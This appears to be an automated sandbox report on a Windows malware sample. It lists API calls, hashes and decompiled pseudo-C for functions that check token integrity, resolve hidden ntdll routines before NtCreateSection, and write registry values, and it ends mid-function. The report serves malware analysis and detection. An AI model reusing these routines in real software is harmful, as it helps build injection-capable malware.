Part of subcall function 04A89158: lstrlen.KERNEL32(00000000,253D7325,00000000,00000000,73FCC740,?,?,04A83F06,?,055295B0), ref: 04A89183
Part of subcall function 04A89158: lstrlen.KERNEL32(?,?,?,04A83F06,?,055295B0), ref: 04A8918B
Part of subcall function 04A89158: strcpy.NTDLL ref: 04A891A2
Part of subcall function 04A89158: lstrcat.KERNEL32(00000000,?), ref: 04A891AD
Part of subcall function 04A89158: StrTrimA.SHLWAPI(00000000,=,00000000,00000000,?,?,?,04A83F06,?,055295B0), ref: 04A891CA

StrTrimA.SHLWAPI(00000000,04A8C294,?,055295B0), ref: 04A81198

Part of subcall function 04A86B3F: lstrlen.KERNEL32(?,00000000,00000000,04A83F3D,616D692F,00000000), ref: 04A86B4B
Part of subcall function 04A86B3F: lstrlen.KERNEL32(?), ref: 04A86B53
Part of subcall function 04A86B3F: lstrcpy.KERNEL32(00000000,?), ref: 04A86B6A
Part of subcall function 04A86B3F: lstrcat.KERNEL32(00000000,?), ref: 04A86B75

lstrcpy.KERNEL32(00000000,?), ref: 04A811C5
lstrcpy.KERNEL32(?,?), ref: 04A811CD
lstrcat.KERNEL32(?,?), ref: 04A811DB
lstrcat.KERNEL32(?,00000000), ref: 04A811E1

Part of subcall function 04A8843C: lstrlen.KERNEL32(?,00000000,04A8D330,00000001,04A85C66,04A8D00C,04A8D00C,00000000,00000005,00000000,00000000,?,?,?,04A85D65,?), ref: 04A88445
Part of subcall function 04A8843C: mbstowcs.NTDLL ref: 04A8846C
Part of subcall function 04A8843C: memset.NTDLL ref: 04A8847E

wcstombs.NTDLL ref: 04A81274

Part of subcall function 04A88BDA: SysAllocString.OLEAUT32(?), ref: 04A88C1B
Part of subcall function 04A88BDA: IUnknown_QueryInterface_Proxy.RPCRT4(00000008,332C4425,?), ref: 04A88C9D
Part of subcall function 04A88BDA: StrStrIW.SHLWAPI(?,006E0069), ref: 04A88CDC

Part of subcall function 04A89A1A: RtlFreeHeap.NTDLL(00000000,00000000,04A85C24,00000000,?,?,-00000008), ref: 04A89A26

HeapFree.KERNEL32(00000000,?,?), ref: 04A812B5
HeapFree.KERNEL32(00000000,00000000,616D692F,00000000), ref: 04A812C1
RtlFreeHeap.NTDLL(00000000,?,?,055295B0), ref: 04A812CD
HeapFree.KERNEL32(00000000,?), ref: 04A812D9
RtlFreeHeap.NTDLL(00000000,?), ref: 04A812E5

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: Heap$Free$lstrlen$lstrcatwsprintf$lstrcpy$CountCriticalSectionTickTrim$AllocAllocateEnterInterface_LeaveProxyQueryStringUnknown_mbstowcsmemsetstrcpywcstombs
String ID:
API String ID: 603507560-0
Opcode ID: 09ae18afbff310c7ea3450c85276bd385b72a2f26d7d57407f2bdd69bff4c801
Instruction ID: 41dde00a02b79e2195668dbc152fc52814759d7a805a5bb0dfa63c3c4e7c046e
Opcode Fuzzy Hash: 09ae18afbff310c7ea3450c85276bd385b72a2f26d7d57407f2bdd69bff4c801
Instruction Fuzzy Hash: 51911971900108EFEB11EFA4DD88E9A7BB9EF58354F144069F805DB2A0E739ED52DB60

Uniqueness

Uniqueness Score: -1.00%

Function 04A81F70, Relevance: 16.7, APIs: 11, Instructions: 152
timememoryCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E04A81F70(void* __edx, intOrPtr _a4, intOrPtr _a8) {
				void _v48;
				long _v52;
				struct %anon52 _v60;
				char _v72;
				long _v76;
				void* _v80;
				union _LARGE_INTEGER _v84;
				struct %anon52 _v92;
				void* _v96;
				void* _v100;
				union _LARGE_INTEGER _v104;
				long _v108;
				intOrPtr _v120;
				struct %anon52 _v128;
				struct %anon52 _t46;
				void* _t51;
				long _t53;
				void* _t54;
				struct %anon52 _t60;
				long _t64;
				struct %anon52 _t65;
				intOrPtr _t67;
				void* _t68;
				void* _t72;
				signed int _t73;
				void* _t75;
				void* _t78;
				void** _t82;
				signed int _t86;
				void* _t89;

				_t75 = __edx;
				_v52 = 0;
				memset( &_v48, 0, 0x2c);
				_t89 = (_t86 & 0xfffffff8) - 0x54 + 0xc;
				_t46 = CreateWaitableTimerA(0, 1, 0);
				_v60 = _t46;
				if(_t46 == 0) {
					_v92.HighPart = GetLastError();
				} else {
					_push(0xffffffff);
					_push(0xff676980);
					_push(0);
					_push( *0x4a8d240);
					_v76 = 0;
					_v80 = 0;
					L04A8B058();
					_v84.LowPart = _t46;
					_v80 = _t75;
					SetWaitableTimer(_v76,  &_v84, 0, 0, 0, 0);
					_t51 =  *0x4a8d26c; // 0x460
					_v76 = _t51;
					_t53 = WaitForMultipleObjects(2,  &_v80, 0, 0xffffffff);
					_v108 = _t53;
					if(_t53 == 0) {
						if(_a8 != 0) {
							L4:
							 *0x4a8d24c = 5;
						} else {
							_t68 = E04A81DC6(); // executed
							if(_t68 != 0) {
								goto L4;
							}
						}
						_v104.LowPart = 0;
						L6:
						L6:
						if(_v104.LowPart == 1 && ( *0x4a8d260 & 0x00000001) == 0) {
							_v104.LowPart = 2;
						}
						_t73 = _v104.LowPart;
						_t58 = _t73 << 4;
						_t78 = _t89 + (_t73 << 4) + 0x3c;
						_t74 = _t73 + 1;
						_v92.LowPart = _t73 + 1;
						_t60 = E04A869BA(_t74, _t74, _t89 + _t58 + 0x3c, _t78,  &_v96,  &_v100); // executed
						_v128.LowPart = _t60;
						if(_t60 != 0) {
							goto L17;
						}
						_t65 = _v92;
						_t97 = _t65 - 3;
						_v104.LowPart = _t65;
						if(_t65 != 3) {
							goto L6;
						} else {
							_t67 = E04A89A40(_t74, _t97,  &_v72, _a4, _a8); // executed
							_v120 = _t67;
						}
						goto L12;
						L17:
						__eflags = _t60 - 0x10d2;
						if(_t60 != 0x10d2) {
							_push(0xffffffff);
							_push(0xff676980);
							_push(0);
							_push( *0x4a8d244);
							goto L21;
						} else {
							__eflags =  *0x4a8d248; // 0x0
							if(__eflags == 0) {
								goto L12;
							} else {
								_t60 = E04A8848E();
								_push(0xffffffff);
								_push(0xdc3cba00);
								_push(0);
								_push( *0x4a8d248);
								L21:
								L04A8B058();
								_v104.LowPart = _t60;
								_v100 = _t78;
								SetWaitableTimer(_v96,  &_v104, 0, 0, 0, 0); // executed
								_t64 = WaitForMultipleObjects(2,  &_v100, 0, 0xffffffff);
								__eflags = _t64;
								_v128 = _t64;
								if(_t64 == 0) {
									goto L6;
								} else {
									goto L12;
								}
							}
						}
						L25:
					}
					L12:
					_t82 =  &_v72;
					_t72 = 3;
					do {
						_t54 =  *_t82;
						if(_t54 != 0) {
							RtlFreeHeap( *0x4a8d238, 0, _t54); // executed
						}
						_t82 =  &(_t82[4]);
						_t72 = _t72 - 1;
					} while (_t72 != 0);
					CloseHandle(_v80);
				}
				return _v92.HighPart;
				goto L25;
			}

0x04a81f70
0x04a81f86
0x04a81f8a
0x04a81f8f
0x04a81f96
0x04a81f9e
0x04a81fa2
0x04a8212a
0x04a81fa8
0x04a81fa8
0x04a81faa
0x04a81faf
0x04a81fb0
0x04a81fb6
0x04a81fba
0x04a81fbe
0x04a81fcc
0x04a81fda
0x04a81fde
0x04a81fe0
0x04a81fed
0x04a81ff9
0x04a81ffd
0x04a82001
0x04a8200a
0x04a82015
0x04a82015
0x04a8200c
0x04a8200c
0x04a82013
0x00000000
0x00000000
0x04a82013
0x04a8201f
0x00000000
0x04a82023
0x04a82028
0x04a82033
0x04a82033
0x04a8203b
0x04a82046
0x04a8204e
0x04a82057
0x04a8205a
0x04a8205e
0x04a82065
0x04a82069
0x00000000
0x00000000
0x04a8206b
0x04a8206f
0x04a82072
0x04a82076
0x00000000
0x04a82078
0x04a82083
0x04a82088
0x04a82088
0x00000000
0x04a820b9
0x04a820b9
0x04a820be
0x04a820dd
0x04a820df
0x04a820e4
0x04a820e5
0x00000000
0x04a820c0
0x04a820c0
0x04a820c6
0x00000000
0x04a820c8
0x04a820c8
0x04a820cd
0x04a820cf
0x04a820d4
0x04a820d5
0x04a820eb
0x04a820eb
0x04a820f3
0x04a82101
0x04a82105
0x04a82111
0x04a82113
0x04a82115
0x04a82119
0x00000000
0x04a8211f
0x00000000
0x04a8211f
0x04a82119
0x04a820c6
0x00000000
0x04a820be
0x04a8208c
0x04a8208e
0x04a82092
0x04a82093
0x04a82093
0x04a82097
0x04a820a1
0x04a820a1
0x04a820a7
0x04a820aa
0x04a820aa
0x04a820b1
0x04a820b1
0x04a82138
0x00000000

APIs

memset.NTDLL ref: 04A81F8A
CreateWaitableTimerA.KERNEL32(00000000,00000001,00000000), ref: 04A81F96
_allmul.NTDLL(00000000,FF676980,000000FF), ref: 04A81FBE
SetWaitableTimer.KERNEL32(?,?,00000000,00000000,00000000,00000000), ref: 04A81FDE
WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF,?,?,?,?,?,?,?,?,?,?,04A8906B,?), ref: 04A81FF9
RtlFreeHeap.NTDLL(00000000,00000000,?,?,?,?,?,?,?,?,?,?,04A8906B,?,00000000), ref: 04A820A1
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,04A8906B,?,00000000,?,?), ref: 04A820B1
_allmul.NTDLL(00000000,FF676980,000000FF,00000002), ref: 04A820EB
SetWaitableTimer.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,FF676980,000000FF,00000002,?,?,?,?), ref: 04A82105
WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 04A82111

Part of subcall function 04A81DC6: StrToIntExW.SHLWAPI(?,00000000,?,?,004F0053,05529388,00000000,?,76D7F710,00000000,76D7F730), ref: 04A81E15
Part of subcall function 04A81DC6: HeapFree.KERNEL32(00000000,00000000,?,80000001,00000000,00680043,055293C0,?,00000000,30314549,00000014,004F0053,0552937C), ref: 04A81EB2
Part of subcall function 04A81DC6: HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,04A82011), ref: 04A81EC4

GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,04A8906B,?,00000000,?,?), ref: 04A82124

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeHeapTimerWaitable$MultipleObjectsWait_allmul$CloseCreateErrorHandleLastmemset
String ID:
API String ID: 3521023985-0
Opcode ID: 390a5b983c21b1c3f33a1045e8f4a4cd28a556b8cdea36553a9c62fda5cd6f46
Instruction ID: e2ffd95660d3dc210ab0edef286ca0b290db7554172f93edacf51c134ad01d0c
Opcode Fuzzy Hash: 390a5b983c21b1c3f33a1045e8f4a4cd28a556b8cdea36553a9c62fda5cd6f46
Instruction Fuzzy Hash: C3515972409311AFE720AF15DC44E6BBBF8EB84764F508A1EF8A496190D774E905CFA2

Uniqueness

Uniqueness Score: -1.00%

Function 04A86104, Relevance: 10.6, APIs: 7, Instructions: 75
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04A86104(long* _a4) {
				long _v8;
				void* _v12;
				void _v16;
				long _v20;
				int _t33;
				void* _t46;

				_v16 = 1;
				_v20 = 0x2000;
				if( *0x4a8d25c > 5) {
					_v16 = 0;
					if(OpenProcessToken(0xffffffff, 0x20008,  &_v12) != 0) {
						GetTokenInformation(_v12, 0x14,  &_v16, 4,  &_v8); // executed
						_v8 = 0;
						GetTokenInformation(_v12, 0x19, 0, 0,  &_v8); // executed
						if(_v8 != 0) {
							_t46 = E04A86B2A(_v8);
							if(_t46 != 0) {
								_t33 = GetTokenInformation(_v12, 0x19, _t46, _v8,  &_v8); // executed
								if(_t33 != 0) {
									_v20 =  *(GetSidSubAuthority( *_t46,  *(GetSidSubAuthorityCount( *_t46)) - 0x00000001 & 0x000000ff));
								}
								E04A89A1A(_t46);
							}
						}
						CloseHandle(_v12);
					}
				}
				 *_a4 = _v20;
				return _v16;
			}

0x04a86111
0x04a86118
0x04a8611f
0x04a86133
0x04a8613e
0x04a86156
0x04a86163
0x04a86166
0x04a8616b
0x04a86176
0x04a8617a
0x04a86189
0x04a8618d
0x04a861a9
0x04a861a9
0x04a861ad
0x04a861ad
0x04a861b2
0x04a861b6
0x04a861bc
0x04a861bd
0x04a861c4
0x04a861ca

APIs

OpenProcessToken.ADVAPI32(000000FF,00020008,00000000,00000000), ref: 04A86136
GetTokenInformation.KERNELBASE(00000000,00000014(TokenIntegrityLevel),00000001,00000004,?,00000000), ref: 04A86156
GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,00000000,?), ref: 04A86166
CloseHandle.KERNEL32(00000000), ref: 04A861B6

Part of subcall function 04A86B2A: RtlAllocateHeap.NTDLL(00000000,-00000008,04A85B64), ref: 04A86B36

GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,?,?,?,?), ref: 04A86189
GetSidSubAuthorityCount.ADVAPI32(00000000), ref: 04A86191
GetSidSubAuthority.ADVAPI32(00000000,?), ref: 04A861A1

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: Token$Information$Authority$AllocateCloseCountHandleHeapOpenProcess
String ID:
API String ID: 1295030180-0
Opcode ID: 000f004159da5750db959557bee7b7e2127a7e8a0b60f0051dbcb6c757956950
Instruction ID: 0e4f478e3689f24caff1949f28ab73c8abf48483c22774fc6dafc48cb8094428
Opcode Fuzzy Hash: 000f004159da5750db959557bee7b7e2127a7e8a0b60f0051dbcb6c757956950
Instruction Fuzzy Hash: A0213C75900258FFFB00AF94DC44EAEBBB9EB44304F100069E911A7191D7759E56EF60

Uniqueness

Uniqueness Score: -1.00%

Function 04A88BDA, Relevance: 9.2, APIs: 6, Instructions: 152memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 04A88C1B
IUnknown_QueryInterface_Proxy.RPCRT4(00000008,332C4425,?), ref: 04A88C9D
StrStrIW.SHLWAPI(?,006E0069), ref: 04A88CDC
SysFreeString.OLEAUT32(?), ref: 04A88CFE

Part of subcall function 04A83B05: SysAllocString.OLEAUT32(04A8C298), ref: 04A83B55

SafeArrayDestroy.OLEAUT32(?), ref: 04A88D52
SysFreeString.OLEAUT32(?), ref: 04A88D60

Part of subcall function 04A86045: Sleep.KERNEL32(000001F4), ref: 04A8608D

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$AllocFree$ArrayDestroyInterface_ProxyQuerySafeSleepUnknown_
String ID:
API String ID: 2118684380-0
Opcode ID: 9661f1881cc01dc92e94f6791d25db0e825e88bd5e0431f943fc2974dd7c26ca
Instruction ID: c9684619d57d5c06161e1ee8fb3989dd1437bd789c06de88bc68c63674e5277a
Opcode Fuzzy Hash: 9661f1881cc01dc92e94f6791d25db0e825e88bd5e0431f943fc2974dd7c26ca
Instruction Fuzzy Hash: 52516372900249EFDB10EFE8C88499EB7B6FF98344B54882DE505EB210DB39AD46CF50

Uniqueness

Uniqueness Score: -1.00%

Function 04A86B82, Relevance: 9.1, APIs: 6, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 04A89208: IUnknown_QueryService.SHLWAPI(00000000,4C96BE40,055289D8,04A86BB2,?,?,?,?,?,?,?,?,?,?,?,04A86BB2), ref: 04A892D4

Part of subcall function 04A86A90: IUnknown_QueryInterface_Proxy.RPCRT4(?,E7A1AF80,?), ref: 04A86ACD
Part of subcall function 04A86A90: IUnknown_QueryInterface_Proxy.RPCRT4(?,A4C6892C,?), ref: 04A86AFE

SysAllocString.OLEAUT32(00000000), ref: 04A86BDE
SysAllocString.OLEAUT32(0070006F), ref: 04A86BF2
SysAllocString.OLEAUT32(00000000), ref: 04A86C04
SysFreeString.OLEAUT32(00000000), ref: 04A86C68
SysFreeString.OLEAUT32(00000000), ref: 04A86C77
SysFreeString.OLEAUT32(00000000), ref: 04A86C82

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$AllocFreeQueryUnknown_$Interface_Proxy$Service
String ID:
API String ID: 2831207796-0
Opcode ID: adff687fcb265d6faf6fe55a504c01d43a948e2e9a035d94261331137a11bdd3
Instruction ID: ce470b6759249ffc3c2809a136f5f405f7d56706010acdda814e8c3145c9a75c
Opcode Fuzzy Hash: adff687fcb265d6faf6fe55a504c01d43a948e2e9a035d94261331137a11bdd3
Instruction Fuzzy Hash: 8D313D72D00609ABEB01EFA8D948A9FB7B6EF59311F144429E910EB110DB75A906CB91

Uniqueness

Uniqueness Score: -1.00%

Function 04A89378, Relevance: 9.1, APIs: 6, Instructions: 81
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04A89378(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12) {
				intOrPtr _v8;
				intOrPtr _t23;
				intOrPtr _t26;
				_Unknown_base(*)()* _t28;
				intOrPtr _t30;
				_Unknown_base(*)()* _t32;
				intOrPtr _t33;
				_Unknown_base(*)()* _t35;
				intOrPtr _t36;
				_Unknown_base(*)()* _t38;
				intOrPtr _t39;
				_Unknown_base(*)()* _t41;
				intOrPtr _t44;
				struct HINSTANCE__* _t48;
				intOrPtr _t54;

				_t54 = E04A86B2A(0x20);
				if(_t54 == 0) {
					_v8 = 8;
				} else {
					_t23 =  *0x4a8d27c; // 0xa9a5a8
					_t1 = _t23 + 0x4a8e11a; // 0x4c44544e
					_t48 = GetModuleHandleA(_t1);
					_t26 =  *0x4a8d27c; // 0xa9a5a8
					_t2 = _t26 + 0x4a8e769; // 0x7243775a
					_v8 = 0x7f;
					_t28 = GetProcAddress(_t48, _t2);
					 *(_t54 + 0xc) = _t28;
					if(_t28 == 0) {
						L8:
						E04A89A1A(_t54);
					} else {
						_t30 =  *0x4a8d27c; // 0xa9a5a8
						_t5 = _t30 + 0x4a8e756; // 0x614d775a
						_t32 = GetProcAddress(_t48, _t5);
						 *(_t54 + 0x10) = _t32;
						if(_t32 == 0) {
							goto L8;
						} else {
							_t33 =  *0x4a8d27c; // 0xa9a5a8
							_t7 = _t33 + 0x4a8e40b; // 0x6e55775a
							_t35 = GetProcAddress(_t48, _t7);
							 *(_t54 + 0x14) = _t35;
							if(_t35 == 0) {
								goto L8;
							} else {
								_t36 =  *0x4a8d27c; // 0xa9a5a8
								_t9 = _t36 + 0x4a8e4d2; // 0x4e6c7452
								_t38 = GetProcAddress(_t48, _t9);
								 *(_t54 + 0x18) = _t38;
								if(_t38 == 0) {
									goto L8;
								} else {
									_t39 =  *0x4a8d27c; // 0xa9a5a8
									_t11 = _t39 + 0x4a8e779; // 0x6c43775a
									_t41 = GetProcAddress(_t48, _t11);
									 *(_t54 + 0x1c) = _t41;
									if(_t41 == 0) {
										goto L8;
									} else {
										 *((intOrPtr*)(_t54 + 4)) = _a4;
										 *((intOrPtr*)(_t54 + 8)) = 0x40;
										_t44 = E04A84093(_t54, _a8); // executed
										_v8 = _t44;
										if(_t44 != 0) {
											goto L8;
										} else {
											 *_a12 = _t54;
										}
									}
								}
							}
						}
					}
				}
				return _v8;
			}

0x04a89387
0x04a8938b
0x04a8944d
0x04a89391
0x04a89391
0x04a89396
0x04a893a9
0x04a893ab
0x04a893b0
0x04a893b8
0x04a893bf
0x04a893c3
0x04a893c6
0x04a89445
0x04a89446
0x04a893c8
0x04a893c8
0x04a893cd
0x04a893d5
0x04a893d9
0x04a893dc
0x00000000
0x04a893de
0x04a893de
0x04a893e3
0x04a893eb
0x04a893ef
0x04a893f2
0x00000000
0x04a893f4
0x04a893f4
0x04a893f9
0x04a89401
0x04a89405
0x04a89408
0x00000000
0x04a8940a
0x04a8940a
0x04a8940f
0x04a89417
0x04a8941b
0x04a8941e
0x00000000
0x04a89420
0x04a89426
0x04a8942b
0x04a89432
0x04a89439
0x04a8943c
0x00000000
0x04a8943e
0x04a89441
0x04a89441
0x04a8943c
0x04a8941e
0x04a89408
0x04a893f2
0x04a893dc
0x04a893c6
0x04a8945b

APIs

Part of subcall function 04A86B2A: RtlAllocateHeap.NTDLL(00000000,-00000008,04A85B64), ref: 04A86B36

GetModuleHandleA.KERNEL32(4C44544E,00000020,?,74183966,00000000,?,?,?,04A81660,?,?,?,?,00000000,00000000), ref: 04A8939D
GetProcAddress.KERNEL32(00000000,7243775A), ref: 04A893BF
GetProcAddress.KERNEL32(00000000,614D775A), ref: 04A893D5
GetProcAddress.KERNEL32(00000000,6E55775A), ref: 04A893EB
GetProcAddress.KERNEL32(00000000,4E6C7452), ref: 04A89401
GetProcAddress.KERNEL32(00000000,6C43775A), ref: 04A89417

Part of subcall function 04A84093: NtCreateSection.NTDLL(?,000F001F,?,?,?,08000000,00000000,76D24EE0,00000000,00000000,04A89437), ref: 04A840F0
Part of subcall function 04A84093: memset.NTDLL ref: 04A84112

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: AddressProc$AllocateCreateHandleHeapModuleSectionmemset
String ID:
API String ID: 3012371009-0
Opcode ID: 8fc8a8a8acfe6ad61a8a715147e3b3f42c38847b1ff1feb39b6e883b66ae747e
Instruction ID: 664b95690f991e35e7925d20eeed0d8de7d9b65d7e11d1da1512d579692f124e
Opcode Fuzzy Hash: 8fc8a8a8acfe6ad61a8a715147e3b3f42c38847b1ff1feb39b6e883b66ae747e
Instruction Fuzzy Hash: 27210AF160120AEFEB60EF79D884E6B77ECFB18344B05852DE559CB241E734E9068B60

Uniqueness

Uniqueness Score: -1.00%

Function 04A896D1, Relevance: 9.1, APIs: 6, Instructions: 75
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E04A896D1(void* __eax, void* _a4, char* _a8, void* _a12, int _a16, void** _a20, intOrPtr* _a24) {
				char _v5;
				signed int _v12;
				intOrPtr _v16;
				char _t28;
				void* _t33;
				void* _t36;
				void* _t41;
				char* _t42;
				void* _t44;
				char* _t49;
				char* _t50;
				int _t51;
				int _t54;
				void* _t55;

				_t49 = _a4;
				_t55 = __eax;
				_v12 = 0xb;
				if(_t49 != 0 && __eax != 0) {
					_t5 = _t55 - 1; // -1
					_t42 =  &(_t49[_t5]);
					_t28 =  *_t42;
					_v5 = _t28;
					 *_t42 = 0;
					__imp__(_a8, _t41);
					_v16 = _t28;
					_t50 = StrStrA(_t49, _a8);
					if(_t50 != 0) {
						 *_t42 = _v5;
						_t33 = RtlAllocateHeap( *0x4a8d238, 0, _a16 + _t55); // executed
						_t44 = _t33;
						if(_t44 == 0) {
							_v12 = 8;
						} else {
							_t51 = _t50 - _a4;
							memcpy(_t44, _a4, _t51);
							_t36 = memcpy(_t44 + _t51, _a12, _a16);
							_t45 = _v16;
							_t54 = _a16;
							memcpy(_t36 + _t54, _t51 + _v16 + _a4, _t55 - _t51 - _t45);
							 *_a20 = _t44;
							_v12 = _v12 & 0x00000000;
							 *_a24 = _t55 - _v16 + _t54;
						}
					}
				}
				return _v12;
			}

0x04a896d9
0x04a896de
0x04a896e0
0x04a896e7
0x04a896f9
0x04a896f9
0x04a896fd
0x04a896ff
0x04a89702
0x04a89705
0x04a8970e
0x04a89718
0x04a8971c
0x04a89721
0x04a89731
0x04a89737
0x04a8973b
0x04a8978c
0x04a8973d
0x04a8973d
0x04a89745
0x04a89754
0x04a89759
0x04a89769
0x04a8976f
0x04a8977a
0x04a89784
0x04a89788
0x04a89788
0x04a8973b
0x04a89793
0x04a8979a

APIs

lstrlen.KERNEL32(76D7F710,?,00000000,?,76D7F710), ref: 04A89705
StrStrA.SHLWAPI(00000000,?), ref: 04A89712
RtlAllocateHeap.NTDLL(00000000,?), ref: 04A89731
memcpy.NTDLL(00000000,0000000B,0000000B), ref: 04A89745
memcpy.NTDLL(00000000,0000000B,00000000,00000000,0000000B,0000000B), ref: 04A89754
memcpy.NTDLL(00000000,0000000B,00000000,00000000,0000000B,00000000,00000000,0000000B,0000000B), ref: 04A8976F

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: memcpy$AllocateHeaplstrlen
String ID:
API String ID: 1819133394-0
Opcode ID: 99cf1569855042672a37777ec6b6c34261841ca543c7f76d6d9fef318599d24b
Instruction ID: 13529c7c62aa06db8972460018b8210cb927b3b5518f6f44620287b3aabc9258
Opcode Fuzzy Hash: 99cf1569855042672a37777ec6b6c34261841ca543c7f76d6d9fef318599d24b
Instruction Fuzzy Hash: 6A219276900249AFDF119F69C844AAEBF79EF85754F044059FC04AB304D775E915CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 04A837DD, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 173
stringCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E04A837DD(void* __ecx, char* _a8, int _a16, intOrPtr* _a20, char _a24) {
				signed int _v8;
				char _v12;
				signed int* _v16;
				void _v284;
				void* __esi;
				char* _t60;
				intOrPtr* _t61;
				void* _t63;
				intOrPtr _t65;
				char _t68;
				void* _t71;
				intOrPtr _t72;
				void* _t73;
				intOrPtr _t75;
				void* _t78;
				void* _t88;
				void* _t96;
				void* _t97;
				int _t102;
				signed int* _t104;
				intOrPtr* _t105;
				void* _t106;

				_t97 = __ecx;
				_v8 = _v8 & 0x00000000;
				_t102 = _a16;
				if(_t102 == 0) {
					__imp__( &_v284,  *0x4a8d33c);
					_t96 = 0x80000002;
					L6:
					_t60 = E04A8843C(0,  &_v284);
					_a8 = _t60;
					if(_t60 == 0) {
						_v8 = 8;
						L29:
						_t61 = _a20;
						if(_t61 != 0) {
							 *_t61 =  *_t61 + 1;
						}
						return _v8;
					}
					_t105 = _a24;
					_t63 = E04A8A47C(_t97, _t105, _t96, _t60); // executed
					if(_t63 != 0) {
						L27:
						E04A89A1A(_a8);
						goto L29;
					}
					_t65 =  *0x4a8d27c; // 0xa9a5a8
					_t16 = _t65 + 0x4a8e8de; // 0x65696c43
					_t68 = E04A8843C(0, _t16);
					_a24 = _t68;
					if(_t68 == 0) {
						L14:
						_t29 = _t105 + 0x14; // 0x102
						_t33 = _t105 + 0x10; // 0x3d04a8c0, executed
						_t71 = E04A81864( *_t33, _t96, _a8,  *0x4a8d334,  *((intOrPtr*)( *_t29 + 0x28))); // executed
						if(_t71 == 0) {
							_t72 =  *0x4a8d27c; // 0xa9a5a8
							if(_t102 == 0) {
								_t35 = _t72 + 0x4a8ea54; // 0x4d4c4b48
								_t73 = _t35;
							} else {
								_t34 = _t72 + 0x4a8ea4f; // 0x55434b48
								_t73 = _t34;
							}
							if(E04A8189D( &_a24, _t73,  *0x4a8d334,  *0x4a8d338,  &_a24,  &_a16) == 0) {
								if(_t102 == 0) {
									_t75 =  *0x4a8d27c; // 0xa9a5a8
									_t44 = _t75 + 0x4a8e856; // 0x74666f53
									_t78 = E04A8843C(0, _t44);
									_t103 = _t78;
									if(_t78 == 0) {
										_v8 = 8;
									} else {
										_t47 = _t105 + 0x10; // 0x3d04a8c0
										E04A8213B( *_t47, _t96, _a8,  *0x4a8d338, _a24);
										_t49 = _t105 + 0x10; // 0x3d04a8c0
										E04A8213B( *_t49, _t96, _t103,  *0x4a8d330, _a16);
										E04A89A1A(_t103);
									}
								} else {
									_t40 = _t105 + 0x10; // 0x3d04a8c0, executed
